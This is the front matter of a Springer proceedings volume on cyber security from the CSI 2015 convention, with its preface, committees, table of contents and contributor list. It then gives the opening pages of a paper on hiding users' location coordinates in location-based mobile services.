Advances in Intelligent Systems and Computing 729

M. U. Bokhari · Namrata Agrawal

Dharmendra Saini Editors

Cyber
Security
Proceedings of CSI 2015
Advances in Intelligent Systems and Computing

Volume 729

Series editor
Janusz Kacprzyk, Polish Academy of Sciences, Warsaw, Poland
e-mail: [email protected]
The series “Advances in Intelligent Systems and Computing” contains publications on theory,
applications, and design methods of Intelligent Systems and Intelligent Computing. Virtually all
disciplines such as engineering, natural sciences, computer and information science, ICT,
economics, business, e-commerce, environment, healthcare, life science are covered. The list of
topics spans all the areas of modern intelligent systems and computing such as: computational
intelligence, soft computing including neural networks, fuzzy systems, evolutionary computing and
the fusion of these paradigms, social intelligence, ambient intelligence, computational neuro-
science, artificial life, virtual worlds and society, cognitive science and systems, Perception and
Vision, DNA and immune based systems, self-organizing and adaptive systems, e-Learning and
teaching, human-centered and human-centric computing, recommender systems, intelligent control,
robotics and mechatronics including human-machine teaming, knowledge-based paradigms,
learning paradigms, machine ethics, intelligent data analysis, knowledge management, intelligent
agents, intelligent decision making and support, intelligent network security, trust management,
interactive entertainment, Web intelligence and multimedia.
The publications within “Advances in Intelligent Systems and Computing” are primarily
proceedings of important conferences, symposia and congresses. They cover significant recent
developments in the field, both of a foundational and applicable character. An important characteristic
feature of the series is the short publication time and world-wide distribution. This permits a rapid and
broad dissemination of research results.
Advisory Board
Chairman
Nikhil R. Pal, Indian Statistical Institute, Kolkata, India
e-mail: [email protected]
Members
Rafael Bello Perez, Universidad Central “Marta Abreu” de Las Villas, Santa Clara, Cuba
e-mail: [email protected]
Emilio S. Corchado, University of Salamanca, Salamanca, Spain
e-mail: [email protected]
Hani Hagras, University of Essex, Colchester, UK
e-mail: [email protected]
László T. Kóczy, Széchenyi István University, Győr, Hungary
e-mail: [email protected]
Vladik Kreinovich, University of Texas at El Paso, El Paso, USA
e-mail: [email protected]
Chin-Teng Lin, National Chiao Tung University, Hsinchu, Taiwan
e-mail: [email protected]
Jie Lu, University of Technology, Sydney, Australia
e-mail: [email protected]
Patricia Melin, Tijuana Institute of Technology, Tijuana, Mexico
e-mail: [email protected]
Nadia Nedjah, State University of Rio de Janeiro, Rio de Janeiro, Brazil
e-mail: [email protected]
Ngoc Thanh Nguyen, Wroclaw University of Technology, Wroclaw, Poland
e-mail: [email protected]
Jun Wang, The Chinese University of Hong Kong, Shatin, Hong Kong
e-mail: [email protected]

More information about this series at http://www.springer.com/series/11156

M. U. Bokhari Namrata Agrawal
•

Dharmendra Saini
Editors

Cyber Security
Proceedings of CSI 2015

123
Editors
M. U. Bokhari Dharmendra Saini
Department of Computer Science Bharati Vidyapeeth’s College
Aligarh Muslim University of Engineering (BVCOE)
Aligarh, Uttar Pradesh New Delhi
India India

Namrata Agrawal
National Institute of Financial Management
Faridabad, Haryana
India

ISSN 2194-5357 ISSN 2194-5365 (electronic)

Advances in Intelligent Systems and Computing
ISBN 978-981-10-8535-2 ISBN 978-981-10-8536-9 (eBook)
https://doi.org/10.1007/978-981-10-8536-9
Library of Congress Control Number: 2018932995

© Springer Nature Singapore Pte Ltd. 2018

This work is subject to copyright. All rights are reserved by the Publisher, whether the whole or part
of the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations,
recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission
or information storage and retrieval, electronic adaptation, computer software, or by similar or dissimilar
methodology now known or hereafter developed.
The use of general descriptive names, registered names, trademarks, service marks, etc. in this
publication does not imply, even in the absence of a specific statement, that such names are exempt from
the relevant protective laws and regulations and therefore free for general use.
The publisher, the authors and the editors are safe to assume that the advice and information in this
book are believed to be true and accurate at the date of publication. Neither the publisher nor the
authors or the editors give a warranty, express or implied, with respect to the material contained herein or
for any errors or omissions that may have been made. The publisher remains neutral with regard to
jurisdictional claims in published maps and institutional affiliations.

Printed on acid-free paper

This Springer imprint is published by the registered company Springer Nature Singapore Pte Ltd.
part of Springer Nature
The registered company address is: 152 Beach Road, #21-01/04 Gateway East, Singapore 189721,
Singapore
Preface

The last decade has witnessed remarkable changes in the IT industry, virtually in all
domains. The 50th Annual Convention, CSI-2015, on the theme “Digital Life” was
organized as a part of CSI@50, by CSI at Delhi, the national capital of the country,
during December 2–5, 2015. Its concept was formed with an objective to keep ICT
community abreast of emerging paradigms in the areas of computing technologies
and more importantly looking at its impact on the society.
Information and Communication Technology (ICT) comprises of three main
components: infrastructure, services, and product. These components include the
Internet, infrastructure-based/infrastructure-less wireless networks, mobile termi-
nals, and other communication mediums. ICT is gaining popularity due to rapid
growth in communication capabilities for real-time-based applications. New user
requirements and services entail mechanisms for enabling systems to intelligently
process speech- and language-based input from human users. CSI-2015 attracted
over 1500 papers from researchers and practitioners from academia, industry, and
government agencies, from all over the world, thereby making the job of the
Programme Committee extremely difficult. After a series of tough review exercises
by a team of over 700 experts, 565 papers were accepted for presentation in
CSI-2015 during the 3 days of the convention under ten parallel tracks. The
Programme Committee, in consultation with Springer, the world’s largest publisher
of scientific documents, decided to publish the proceedings of the presented papers,
after the convention, in ten topical volumes, under ASIC series of the Springer, as
detailed hereunder:
1. Volume 1: ICT Based Innovations
2. Volume 2: Next Generation Networks
3. Volume 3: Nature Inspired Computing
4. Volume 4: Speech and Language Processing for Human-Machine
Communications

v
vi Preface

5. Volume 5: Sensors and Image Processing

6. Volume 6: Big Data Analytics
7. Volume 7: Systems and Architecture
8. Volume 8: Cyber Security
9. Volume 9: Software Engineering
10. Volume 10: Silicon Photonics & High Performance Computing
We are pleased to present before you the proceedings of Volume 8 on “Cyber
Security.” The title “Cyber Security” is devoted primarily to enhance the awareness
about cyber security. It brings together much learning from skilled industry experts,
academicians, and researchers. The title also covers national and international
collaborations and cooperation in cyber security as an essential element of overall
security of the system.
The technology in general and Internet in particular are being used widely for
various kinds of transactions, information, and communications. It is really a huge
challenge to stay secured on the ‘open and un-trusted Internet,’ and there are
potential security risks presented by the Internet. The title uncovers the various
nuances of information security, cyber security, and its various dimensions.
The title “Cyber Security” also covers latest security trends, ways to combat
cyber threats including the detection and mitigation of security threats and risks.
This volume is designed to bring together researchers and practitioners from aca-
demia and industry to focus on extending the understanding and establishing new
collaborations in these areas. It is the outcome of the hard work of the editorial
team, who have relentlessly worked with the authors and steered up the same to
compile this volume. It will be a useful source of reference for the future researchers
in this domain. Under the CSI-2015 umbrella, we received over 200 papers for this
volume, out of which 48 papers are being published, after a rigorous review pro-
cess, carried out in multiple cycles.
On behalf of organizing team, it is a matter of great pleasure that CSI-2015 has
received an overwhelming response from various professionals from across the
country. The organizers of CSI-2015 are thankful to the members of Advisory
Committee, Programme Committee, and Organizing Committee for their all-round
guidance, encouragement, and continuous support. We express our sincere grati-
tude to the learned Keynote Speakers for support and help extended to make this
event a grand success. Our sincere thanks are also due to our Review Committee
Members and the Editorial Board for their untiring efforts in reviewing the
manuscripts, giving suggestions and valuable inputs for shaping this volume. We
hope that all the participated delegates will be benefitted academically and wish
them for their future endeavors.
Preface vii

We also take the opportunity to thank the entire team from Springer, who have
worked tirelessly and made the publication of the volume a reality. Last but not
least, we thank the team from Bharati Vidyapeeth’s Institute of Computer
Applications and Management (BVICAM), New Delhi, for their untiring support,
without which the compilation of this huge volume would not have been possible.

Aligarh, India M. U. Bokhari

Faridabad, India Namrata Agrawal
New Delhi, India Dharmendra Saini
December 2017
The Organization of CSI-2015

Chief Patron

Padmashree Dr. R. Chidambaram

Principal Scientific Advisor, Government of India

Patrons

Prof. S. V. Raghavan
Department of Computer Science, IIT Madras, Chennai
Prof. Ashutosh Sharma
Secretary, Department of Science and Technology, Ministry of Science of Technology,
Government of India

Chair, Programme Committee

Prof. K. K. Aggarwal
Founder Vice Chancellor, GGSIP University, New Delhi

Secretary, Programme Committee

Prof. M. N. Hoda
Director, Bharati Vidyapeeth’s Institute of Computer Applications and Management
(BVICAM), New Delhi

ix
x The Organization of CSI-2015

Advisory Committee

Padma Bhushan Dr. F. C. Kohli

Co-Founder, TCS
Mr. Ravindra Nath
CMD, National Small Industries Corporation, New Delhi
Dr. Omkar Rai
Director General, Software Technological Parks of India (STPI), New Delhi
Adv. Pavan Duggal
Noted Cyber Law Advocate, Supreme Court of India
Prof. Bipin Mehta
President, CSI
Prof. Anirban Basu
Vice President-cum-President Elect, CSI
Shri Sanjay Mohapatra
Secretary, CSI
Prof. Yogesh Singh
Vice Chancellor, Delhi Technological University, Delhi
Prof. S. K. Gupta
Department of Computer Science and Engineering, IIT Delhi
Prof. P. B. Sharma
Founder Vice Chancellor, Delhi Technological University, Delhi
Mr. Prakash Kumar, IAS
Chief Executive Officer, Goods and Services Tax Network (GSTN)
Mr. R. S. Mani
Group Head, National Knowledge Network (NKN), NIC, Government of India,
New Delhi

Editorial Board

A. K. Nayak, CSI
A. K. Saini, GGSIPU, New Delhi
R. K. Vyas, University of Delhi, New Delhi
Shiv Kumar, CSI
Anukiran Jain, BVICAM, New Delhi
Parul Arora, BVICAM, New Delhi
Vishal Jain, BVICAM, New Delhi
Ritika Wason, BVICAM, New Delhi
Anupam Baliyan, BVICAM, New Delhi
The Organization of CSI-2015 xi

Nitish Pathak, BVICAM, New Delhi

Shivendra Goel, BVICAM, New Delhi
Shalini Singh Jaspal, BVICAM, New Delhi
Vaishali Joshi, BVICAM, New Delhi
Contents

Privacy Protection Through Hiding Location Coordinates Using

Geometric Transformation Techniques in Location-Based Services
Enabled Mobiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Ruchika Gupta and Udai Pratap Rao
Advanced RSA Cryptographic Algorithm for Improving Data
Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Mukesh Kumar
Different Security Mechanisms in Two-Factor Authentication for
Collaborative Computing Environment . . . . . . . . . . . . . . . . . . . . . . . . . 17
G. Dileep Kumar and R. Praveen Sam
‘Changing Trend in Network Security Measures: A Review’ . . . . . . . . . 25
Swati Maurya and Anita Singhrova
An Improved RED Algorithm with Input Sensitivity . . . . . . . . . . . . . . . 35
Kiran Chhabra, Manali Kshirsagar and Arun Zadgaonkar
Security Attacks in Wireless Sensor Networks: A Survey . . . . . . . . . . . 47
Prachi Dewal, Gagandeep Singh Narula, Vishal Jain and Anupam Baliyan
Symmetric Key Encryption Technique: A Cellular Automata Based
Approach . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Deepika Parashar, Satyabrata Roy, Nilanjan Dey, Vipin Jain and
U. S. Rawat
A Comparative Study on Lightweight Cryptography . . . . . . . . . . . . . . . 69
M. U. Bokhari and Shabbir Hassan
GPS Hash Table Based Location Identifier Algorithm for Security
and Integrity Against Vampire Attacks . . . . . . . . . . . . . . . . . . . . . . . . . 81
S. N. Panda

xiii
xiv Contents

Data Security Model in Cloud Computing Environment . . . . . . . . . . . . 91

Meena Kumari and Rajender Nath
Review of CIDS and Techniques of Detection of Malicious Insiders
in Cloud-Based Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
Priya Oberoi and Sumit Mittal
DNA-Based Cryptography for Security in Wireless
Sensor Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Monika Poriye and Shuchita Upadhyaya
Privacy Preservation Using Various Anonymity Models . . . . . . . . . . . . 119
Deepak Narula, Pardeep Kumar and Shuchita Upadhyaya
A Hybrid Security Mechanism Based on DCT and Visual
Cryptography for Data Communication Networks . . . . . . . . . . . . . . . . . 131
Yamini Jain, Gaurav Sharma, Gaurav Anand and Sangeeta Dhall
An Advanced Dynamic Authentic Security Method for Cloud
Computing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143
S. Srinivasan and K. Raja
Security in CryptDB Using Fine-Grained Access Controls with
ECDHE-ZeroVi’s Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Krishna Keerthi Chennam, Akka Laskhmi Muddana
and Tahseen Munnavara
Mitigating Cloud Security Threats Using Public-Key
Infrastructure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 165
Disha H. Parekh and R. Sridaran
Analysis and Impact of Different Mechanisms of Defending
Pass-the-Hash Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
Navjyotsinh Jadeja and Madhuri Vaghasia
Data Security and Encryption Technique for Cloud Storage . . . . . . . . . 193
Sunil Kumar, Jayant Shekhar and Jatinder Paul Singh
Fine-Grained Access Control and Secured Data Sharing in Cloud
Computing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201
Neha Agarwal, Ajay Rana and J. P. Pandey
Comparative Study of Security Risk in Social Networking
and Awareness to Individual . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Tosal Bhalodia, Chandani Kathad and Keyur Zala
A Key Based Spiral Approach for DNA Cryptography . . . . . . . . . . . . . 221
Ekta and Ajit Singh
Contents xv

Permission-Set Based Detection and Analysis of Android Malware . . . . 231

Aditi Sharma and Amit Doegar
Three-Level GIS Data Security: Conjointly Cryptography
and Digital Watermarking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241
Monika Bansal and Akanksha Upadhyaya
Digital Security: An Enigma . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
Avijit Dutta
ICMP Flood Attacks: A Vulnerability Analysis . . . . . . . . . . . . . . . . . . . 261
Varun Chauhan and Pranav Saini
Statistical Approach Using Meta Features for Android Malware
Detection System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269
Meenu Mary John and P. Vinod
Composite Email Features for Spam Identification . . . . . . . . . . . . . . . . 281
Princy George and P. Vinod
Role of Multiple Encryptions in Biometric Devices . . . . . . . . . . . . . . . . 291
Himanshu Gupta and C. Aka Assoua Anne-Marie
Buffer Overflow and SQL Injection: To Remotely Attack
and Access Information . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
Mehak Khurana, Ruby Yadav and Meena Kumari
Prime Numbers: Foundation of Cryptography . . . . . . . . . . . . . . . . . . . . 315
Sonal Sarnaik and Basit Ansari
Steganography: A Survey . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 327
Shilpa Pund-Dange
Comprehensive Methodology for Threat Identification
and Vulnerability Assessment in Ad hoc Networks . . . . . . . . . . . . . . . . 335
Richa Tyagi, Naveen Kumar Sharma, Kamini Malhotra and
Anu Khosla
Hardware Trojans: An Austere Menace Ahead . . . . . . . . . . . . . . . . . . . 349
Anupam Tiwari and Chetan Soni
Cybersecurity for Supervisory Control and Data Acquisition . . . . . . . . 361
Sahebrao N. Shinde and Reena P. Shinde
k-Barrier Coverage-Based Intrusion Detection for Wireless
Sensor Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 373
Jaiprakash Nagar and Sandeep Sharma
Performance Analysis of Vulnerability Detection Scanners
for Web Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387
Shailendra Singh and Karan Singh
xvi Contents

Performance Evaluation of Multicast Source Authentication Scheme . . . 401

Yogendra Mohan, C. Rama Krishna and Karan Singh
Design and Implementation of a Secure Hierarchical
Trust Model for PKI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 415
Sarvesh Tanwar and K. V. Prema
Encryption and Decryption Technique Using Java . . . . . . . . . . . . . . . . 427
Ankur Saxena, Neeraj Kaushik and Nidhi Kaushik
Detection and Removal of Security Attacks Using ALARM Protocol
in WSN Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 437
Seema Rawat, Praveen Kumar and Bhawna Dhruv
Encryption Technique Using Elliptic Curve Cryptography Through
Compression and Artificial Intelligence . . . . . . . . . . . . . . . . . . . . . . . . . 447
Subhranil Som
A Robust Server-Side JavaScript Feature Injection-Based Design
for JSP Web Applications Against XSS Vulnerabilities . . . . . . . . . . . . . 459
Shashank Gupta and B. B. Gupta
PHISH-SAFE: URL Features-Based Phishing Detection System Using
Machine Learning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 467
Ankit Kumar Jain and B. B. Gupta
Semantic Security for Sharing Computing Knowledge/Information . . . . 475
Mamta Narwaria and Sangheeta Mishra
Paradigmatic Approach to Cloud Security: Challenges
and Remedies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 483
Rana Majumdar, Hina Gupta, Sakshi Goel and Abhishek Srivastava
The Digital Signature Schemes Based on Two Hard Problems:
Factorization and Discrete Logarithm . . . . . . . . . . . . . . . . . . . . . . . . . . 493
A. B. Nimbalkar
Gaussian Tendencies in Data Flow in Communication Links . . . . . . . . . 499
Rudra Pratap Ojha, Dharm Raj, Pramod kumar Srivastava
and Goutam Sanyal
Editors and Contributors

About the Editors

Prof. M. U. Bokhari is working as a Professor in the Department of Computer

Science at Aligarh Muslim University (AMU), Aligarh. He has published more than
110 research papers in reputed journals and conference proceedings. He has also
authored five books on different fields of computer science. His current research
interests include requirement engineering, cryptography, software reliability,
wireless network security, information retrieval, soft computing, adaptive multi-
modal retrieval, E-learning, and databases.
Dr. Namrata Agrawal is working as a Professor at National Institute of Financial
Management (NIFM), an Institute of the Ministry of Finance, Government of India.
She has formerly been a member of the MMNIT faculty at Allahabad. She has more
than 25 years of teaching, research, and consultancy experience. She has published
more than 25 papers in national and international journals. She has presented 40
papers at national and international conferences and received the Best Paper Award
at an international conference organized by the University of Maryland Eastern
Shore (UMES), USA. She has also authored many best-selling books.
Dr. Dharmender Saini is working as the Principal and a Professor in the
Department of Computer Science and Engineering at Bharati Vidyapeeth’s College
of Engineering (BVCOE), New Delhi. He has 8 years of industry experience in the
field of patent research and 8 years of academic experience. He is also a registered
Indian patent agent, principal investigator with DESIDOC, DRDO, and in a data
mining project, and a consultant in the field of patent research.

Contributors

Neha Agarwal Amity University, Noida, Uttar Pradesh, India

Gaurav Anand Faridabad, Haryana, India

xvii
xviii Editors and Contributors

C. Aka Assoua Anne-Marie AIIT, Amity University, Noida, Uttar Pradesh, India
Basit Ansari Marathwada Institute of Technology, Aurangabad, India
Anupam Baliyan Bharati Vidyapeeth’s Institute of Computer Applications
(BVICAM), New Delhi, India
Monika Bansal Rukmini Devi Institute of Advanced Studies, Delhi, India
Tosal Bhalodia Atmiya Institute of Technology and Science, Rajkot, India
M. U. Bokhari Department of Computer Science, Aligarh Muslim University,
Aligarh, India
Varun Chauhan Knowledge Graph Department, Binary Semantics Pvt. Ltd.,
Gurgaon, India
Krishna Keerthi Chennam Gitam University, Computer Science Engineering,
Hyderabad, Telangana, India
Kiran Chhabra Computer Science and Engineering, Dr. C.V. Raman University,
Bilaspur, CG, India
Prachi Dewal C-DAC, Noida, India
Nilanjan Dey Department of Information Technology, Techno India College of
Technology, Kolkata, India
Sangeeta Dhall Faridabad, Haryana, India
Bhawna Dhruv Amity University Noida, Noida, India
G. Dileep Kumar Bharathiar University, Coimbatore, India
Amit Doegar Department of CS NITTTR, Chandigarh, India
Avijit Dutta NIC, New Delhi, India
Ekta Department of CSE and IT, Bhagat Phool Singh Mahila Vishwavidyalaya,
Sonipat, India
Princy George Department of Computer Science and Engineering, SCMS School
of Engineering and Technology, Ernakulam, Kerala, India
Sakshi Goel Amity School of Engineering and Technology, Amity University,
Noida, India
B. B. Gupta Department of Computer Engineering, National Institute of
Technology Kurukshetra, Kurukshetra, Haryana, India
Himanshu Gupta AIIT, Amity University, Noida, Uttar Pradesh, India
Hina Gupta Amity School of Engineering and Technology, Amity University,
Noida, India
Editors and Contributors xix

Ruchika Gupta Department of Computer Engineering, Sardar Vallabhbhai

National Institute of Technology, Surat, India
Shashank Gupta Department of Computer Science and Information System, Birla
Institute of Technology and Science, Pilani, Pilani, Rajasthan, India
Shabbir Hassan Department of Computer Science, Aligarh Muslim University,
Aligarh, India
Navjyotsinh Jadeja Faculty of Engineering, Information Technology, Marwadi
Education Foundation’s Group of Institutions, Rajkot, Gujarat, India
Ankit Kumar Jain National Institute of Technology Kurukshetra, Kurukshetra,
Haryana, India
Vipin Jain Department of Computer Science and Engineering, S.K.I.T., Jaipur,
Rajasthan, India
Vishal Jain Bharati Vidyapeeth’s Institute of Computer Applications (BVICAM),
New Delhi, India
Yamini Jain Faridabad, Haryana, India
Meenu Mary John Department of Computer Science and Engineering, SCMS
School of Engineering and Technology, Ernakulum, Kerala, India
Chandani Kathad Ilaxo.Com, Rajkot, India
Neeraj Kaushik Amity University, Noida, Uttar Pradesh, India
Nidhi Kaushik Amity University, Noida, Uttar Pradesh, India
Anu Khosla SAG, DRDO, Metcalfe House, New Delhi, India
Mehak Khurana The NorthCap University, Gurgaon, India
C. Rama Krishna NITTTR, Chandigarh, India
Manali Kshirsagar Yashwantrao Chawan College of Engineering, Nagpur, MS,
India
Mukesh Kumar H.P. University, Shimla, India
Pardeep Kumar Department of Computer Science and Applications, Kurukshetra
University, Kurukshetra, Haryana, India
Praveen Kumar Amity University Noida, Noida, India
Sunil Kumar Swami Vivekanand Subharti University, Meerut, Uttar Pradesh,
India
Meena Kumari Department of Computer Science and Applications, Kurukshetra
University, Kurukshetra, Haryana, India; The NorthCap University, Gurgaon, India
xx Editors and Contributors

Rana Majumdar Amity School of Engineering and Technology, Amity

University, Noida, India
Kamini Malhotra SAG, DRDO, Metcalfe House, New Delhi, India
Swati Maurya Department of Computer Science and Engineering, DCRUST,
Murthal, India
Sangheeta Mishra Department of Computer Applications, BSSS, Bhopal, India
Sumit Mittal M.M. Institute of Computer Technology and Business Management,
Maharishi Markandeshwar (Deemed to be University), Mullana, Ambala, Haryana,
India
Yogendra Mohan CSED, NERIST, Nirjuli, Arunachal Pradesh, India
Akka Laskhmi Muddana Gitam University, Information Technology,
Hyderabad, Telangana, India
Tahseen Munnavara M.J.C.E.T, Information Technology, Hyderabad, Telangana,
India
Jaiprakash Nagar School of Information and Communication Technology,
Gautam Buddha University, Greater Noida, Uttar Pradesh, India
Deepak Narula Department of Computer Science and Applications, Kurukshetra
University, Kurukshetra, Haryana, India
Gagandeep Singh Narula C-DAC, Noida, India
Mamta Narwaria School of Computer Science and Engineering, Galgotias
University, Greater Noida, India
Rajender Nath Department of Computer Science and Applications, Kurukshetra
University, Kurukshetra, Haryana, India
A. B. Nimbalkar A.M. College, Pune, Maharashtra, India
Priya Oberoi M.M. Institute of Computer Technology and Business Management,
Maharishi Markandeshwar (Deemed to be University), Mullana, Ambala, Haryana,
India
Rudra Pratap Ojha Galgotias College of Engineering and Technology, Greater
Noida, India; National Institute of Technology, Durgapur, India
Disha H. Parekh Faculty of Computer Applications, Marwadi Education
Foundation’s Group of Institutions, Rajkot, Gujarat, India; Computer Science
Department, Bharathiar University, Coimbatore, Tamilnadu, India
S. N. Panda Chitkara University, Rajpura, Punjab, India
J. P. Pandey KNIT Sultanpur, Sultanpur, India
Editors and Contributors xxi

Deepika Parashar Department of Computer Science and Engineering, S.K.I.T.,

Jaipur, Rajasthan, India
Monika Poriye Department of Computer Science and Applications, Kurukshetra
University, Kurukshetra, Haryana, India
R. Praveen Sam Department of CSE, GPREC, Kurnool, India
K. V. Prema Department of CSE, Manipal Institute of Technology, MAHE,
Manipal, Karnataka, India
Shilpa Pund-Dange Department of Computer Science, Modern College, Pune,
India
Dharm Raj Galgotias College of Engineering and Technology, Greater Noida,
India
K. Raja Alpha College of Engineering, Chennai, Tamilnadu, India
Ajay Rana Amity University, Noida, Uttar Pradesh, India
Udai Pratap Rao Department of Computer Engineering, Sardar Vallabhbhai
National Institute of Technology, Surat, India
Seema Rawat Amity University Noida, Noida, India
U. S. Rawat Department of Computer Science and Engineering, Manipal
University Jaipur, Jaipur, Rajasthan, India
Satyabrata Roy Department of Computer Science and Engineering, Manipal
University Jaipur, Jaipur, Rajasthan, India
Pranav Saini Department of Information Technology, Bharati Vidyapeeth’s
College of Engineering, GGSIPU, New Delhi, India
Goutam Sanyal National Institute of Technology, Durgapur, India
Sonal Sarnaik Marathwada Institute of Technology, Aurangabad, India
Ankur Saxena Amity University, Noida, Uttar Pradesh, India
Aditi Sharma Department of CS NITTTR, Chandigarh, India
Gaurav Sharma Faridabad, Haryana, India
Naveen Kumar Sharma SAG, DRDO, Metcalfe House, New Delhi, India
Sandeep Sharma School of Information and Communication Technology,
Gautam Buddha University, Greater Noida, Uttar Pradesh, India
Jayant Shekhar Computer Science Department, Swami Vivekanand Subharti
University, Meerut, Uttar Pradesh, India
Reena P. Shinde Department of Computer Science, Sinhgad College of Science,
Pune, India
xxii Editors and Contributors

Sahebrao N. Shinde Department of Computer Science, C.M.C.S. College,

Nashik, India
Ajit Singh Department of CSE and IT, Bhagat Phool Singh Mahila
Vishwavidyalaya, Sonipat, India
Jatinder Paul Singh Shobhit University, Meerut, India
Karan Singh School of Computer and Systems Sciences, Jawaharlal Nehru
University, New Delhi, India
Shailendra Singh School of Computer and Systems Sciences, Jawaharlal Nehru
University, New Delhi, India
Anita Singhrova Department of Computer Science and Engineering, DCRUST,
Murthal, India
Subhranil Som Amity Institute of Information Technology, Amity University,
Uttar Pradesh, India
Chetan Soni National Informatics Centre, Ministry of Defense, New Delhi, India
S. Srinivasan Research Development Center, Bharathiar University, Coimbatore,
Tamilnadu, India; Department of M.C.A, K.C.G College of Technology, Chennai,
Tamilnadu, India
R. Sridaran Faculty of Computer Applications, Marwadi Education Foundation’s
Group of Institutions, Rajkot, Gujarat, India
Abhishek Srivastava Amity School of Engineering and Technology, Amity
University, Noida, India
Pramod Kumar Srivastava Galgotias College of Engineering and Technology,
Greater Noida, India
Sarvesh Tanwar Department of CSE FET, Mody University of Science and
Technology, Laxmangarh, India
Anupam Tiwari National Informatics Centre, Ministry of Defense, New Delhi,
India
Richa Tyagi SAG, DRDO, Metcalfe House, New Delhi, India
Akanksha Upadhyaya Rukmini Devi Institute of Advanced Studies, Delhi, India
Shuchita Upadhyaya Department of Computer Science and Applications,
Kurukshetra University, Kurukshetra, Haryana, India
Madhuri Vaghasia Faculty of Engineering, Information Technology, Marwadi
Education Foundation’s Group of Institutions, Rajkot, Gujarat, India
P. Vinod Department of Computer Science and Engineering, SCMS School of
Engineering and Technology, Ernakulum, Kerala, India
Editors and Contributors xxiii

Ruby Yadav The NorthCap University, Gurgaon, India

Arun Zadgaonkar Dr. C.V. Raman University, Bilaspur, CG, India
Keyur Zala Ilaxo.Com, Rajkot, India
Privacy Protection Through Hiding
Location Coordinates Using Geometric
Transformation Techniques
in Location-Based Services Enabled
Mobiles

Ruchika Gupta and Udai Pratap Rao

Abstract Mobile gadgets today are swaggering computing potential and memory
at par or at times even higher to that found in desktop personal computers.
A wireless interconnection has turned out to be considerably more readily acces-
sible these days. As individuals are growing mobile with regard to the fast lifestyle
and working pattern, a new, smarter system came into existence that is termed as
“location-based service” (LBS). Such a system amalgamates the location data of a
user with smart applications to deliver demanded services. Although LBSs provide
major openings for a large variety of markets and remarkable convenience to the
end user, it also presents subtle privacy attack to user’s location information. Threat
to the privacy sneaks into the system due to the prerequisite of sending user’s
current location to the LBS provider to attain related services. Since the volume of
data gathered from dynamic or stationary mobile users using LBS can be high, it is
vital to outline the frameworks and systems in a manner that is secure and keep the
location information private. This can be portrayed as a big mobile data challenge in
LBSs setting. This paper aims to explore the issues related to privacy involved in
LBSs. In the paper, we introduce framework structure outline for preventing
location-based vicinity inference of users who issue a query and also proposed VIC-
PRO algorithm which helps to overcome the gaps of well-established K-anonymity
approach in the existing system. The suggested approach strengthens the privacy of
query initiating vicinity information.

Keywords Location-based services Privacy

User identity and location privacy

preservation Mobility Big mobile data

R. Gupta (&)
U. P. Rao

Department of Computer Engineering, Sardar Vallabhbhai
National Institute of Technology, Surat, India
e-mail: [email protected]
U. P. Rao
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 1

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_1
2 R. Gupta and U. P. Rao

1 Introduction

The fiery escalation of location-detection enabled gadgets along with growing

wireless interconnections and mobile databases results in materializing
location-based applications which conveys requested information to the clients
based on their present location. Location-based store finder, location-based weather
forecast information, location-based traffic reports, location-based advertisements,
promotions, and location-based geo-fencing are few examples of such applications.
A conventional localization arrangement based on the fundamental communi-
cations network comprises of two main elements: a mobile device carried by the
end user and the base station or beacon node representing the infrastructure of the
communication network (along with LBS provider). Pull LBS (Reactive),
Push LBS (Proactive), and tracking LBS are three main types of LBSs (Fig. 1).
In LBS, we incline to use positioning technology to register mobile location
movement. There are quite a lot of abstract approaches and real implementations of
systems to resolve the place of a cell phone. The most outstanding example of such
a positioning system is the GPS [1]. Although LBSs offer major openings for a
large variety of markets and remarkable convenience to end user, but at the same
time it also presents subtle privacy attack. Privacy of the system is threatened due to
the requirement of the current location of the user in order to provide related
services. Sharing the location information with service provider actually makes
user’s physical geographical location on the globe and user’s virtual location over
the World Wide Web precisely identical.
There are two major obfuscation aspects in the LBS namely (i) Obfuscate user
identification and (ii) Obfuscate location identification. This paper focuses on

Fig. 1 Types of LBS

Privacy Protection Through Hiding Location Coordinates … 3

strengthening privacy of vicinity identification along with the privacy of location

and user identification information.

2 Motivation

With the continual reduction in the price of mobile devices, it is noticed that not
only the use of the location-aware gadgets raises in a growing number of civilian
and military applications, additionally a developing interest for regularly being
informed while out on the road for innumerable purposes. Keeping track of the
traffic condition, route information, on the fly parking information, en route grocery
store information, meeting a friend on way back home, and catching new movie in
theaters are few of such applications. Considering the metropolitan zone with
hundreds and thousands of vehicles (especially in a profoundly populated continent
